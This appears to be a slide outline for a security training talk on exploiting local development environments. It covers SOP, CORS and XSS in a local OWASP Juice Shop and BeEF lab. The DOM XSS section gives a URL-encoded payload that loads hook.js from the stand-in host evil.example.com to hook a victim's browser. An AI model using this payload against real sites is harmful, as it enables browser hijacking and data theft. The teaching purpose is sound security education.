Exploiting Local Dev Environments

Exploiting Local Dev Envs

Table Of Contents

• Exploiting Local Dev Envs
  • Running Locally
  • Talk Scope
  • Technical Outline: First Half
  • Technical Outline: Second Half
  • Same Origin Policy (SOP): Refresher
  • Same Origin Policy (SOP): Refresher (CONT.)
  • CORS: Refresher
  • Juice Shop
  • Cross-Site Scripting (XSS)
  • XSS: Mallory Attacks
  • XSS: Mitigation Advice
  • DOM XSS
  • DOM XSS (CONT.)
  • DOM XSS (CONT.)

Running Locally

• Update /etc/hosts
  • 127.0.0.1 evil.example.com
  • 127.0.0.1 victim.example.com
  • 127.0.0.1 prod.example.com
• BeEf Server Credentials
  • Username/Password: beefy
• Running
  • git clone [email protected]:SecuringTheStack/tutorials.git
  • cd $REPO/ep7-exploiting-dev-envs-part-1
  • docker-compose up
    • Be careful, this runs an intentionally vulnerable web application
    • The prod elasticsearch instance will be seeded with data 2 minutes after running docker-compose up

Talk Scope

• Focus on the faulty security assumptions that we make
  • DevOps Engineers and Developers
• Technical exploit that you can run locally
• Key takeaway
  • Not necessarily patching the exploit
  • It’s about patching our assumptions
    • Transition from unknown unknowns…
      • To known unknowns

Technical Outline: First Half

• Refresher
  • Same Origin Policy (SOP)
  • Cross-Origin Resource Sharing (CORS)
  • Cross-Site Scripting (XSS)
    • Dom XSS
• 2x video if needed

Technical Outline: Second Half

• Exercise Goal: Exploit Local Dev Environment To Steal Production Data
• Developer
  • Running local Elasticsearch CE 5.6.9 database
    • CORS disabled to “help” development workflow
  • Signed into a corporate VPN
• Production Elasticsearch CE 5.6.9 database
  • On corporate VPN
  • CORS enabled
• BeEF (Browser Exploitation Framework)

Same Origin Policy (SOP): Refresher

• Browser security mechanism
• Origin within SOP
  • Where did the request originate from?
  • If your browser is visiting evil.example.com’s homepage
    • For outgoing requests, evil.example.com is the origin
      • Perspective of browser
• Nutshell: SOP restricts how origins can interact
• evil.example.com’s Javascript is limited in how it can interact with api.bank.example.com
  • Crucial if you have authentication cookies scoped to api.bank.example.com

Same Origin Policy (SOP): Refresher (CONT.)

• How can the SOP be “relaxed”?
  • Cross-Origin Resource Sharing (CORS)

CORS: Refresher

• A HTTP response header that’s sent to the browser
• Hmm, what happens if a server sends the CORS header: Access-Control-Allow-Origin: *?
  • evil.example.com’s Javascript has more access to the server
    • In certain situations, evil.example.com can submit any type of REST request to the server
• Ever seen Access-Control-Allow-Origin: * before?
  • Non-PROD systems
    • Allows for a high variation of Origins
      • Ex: localhost, 127.0.0.1, dev.example.com
• Hmm, how could XSS take advantage of * CORS access?

Juice Shop

• We will explore XSS within OWASP’s Juice Shop (aka fAmazon Juice Shop)
• Evil Mallory
• Victim Bob

Cross-Site Scripting (XSS)

• Key idea
  1. Mallory injects evil Javascript into victim.example.com
  2. Bob visits victim.example.com and evil Javascript is loaded into his browser
• After Mallory obtains XSS on a victim’s browser
  • What could she do?

XSS: Mallory Attacks

• Steal authentication cookies
• Make arbitrary requests to other sites on the internet
  • Or local network…

XSS: Mitigation Advice

• Q: What is the common advice on prohibiting XSS?
  • Client-side validation?
  • Server-side validation?
• A: Server-side validation
  • Server will drop request if it has unexpected characters
• “Client-side validation is bad practice, MAN!”
  • We are told this as a beginner
  • Is this always true?
    • Moving to known unknowns

DOM XSS

• A variation of XSS that doesn’t involve the server
• Scenario
  • Mallory posts a link on a web forum

  http://victim.example.com/#/search?
  q=%3Cscript%20src%3D%22http:%2F%2Fevil.example.com:3000%2Fhook.js%22%3E%3C%2Fscript%3E
      

  • Victim clicks on the link because he trusts victim.example.com
  • XSS <script src="evil.example.com:3000/hook.js"></script> is loaded into the page
    • Anything after # isn’t sent to the server

DOM XSS (CONT.)

• Assumption
  • “Client-side validation is pointless”
• Result
  • Client-side code doesn’t validate query string parameters before insertion into the DOM

DOM XSS (CONT.)

• What is hook.js?
  • Allows the victim’s browser to be controlled by Mallory’s BeEF server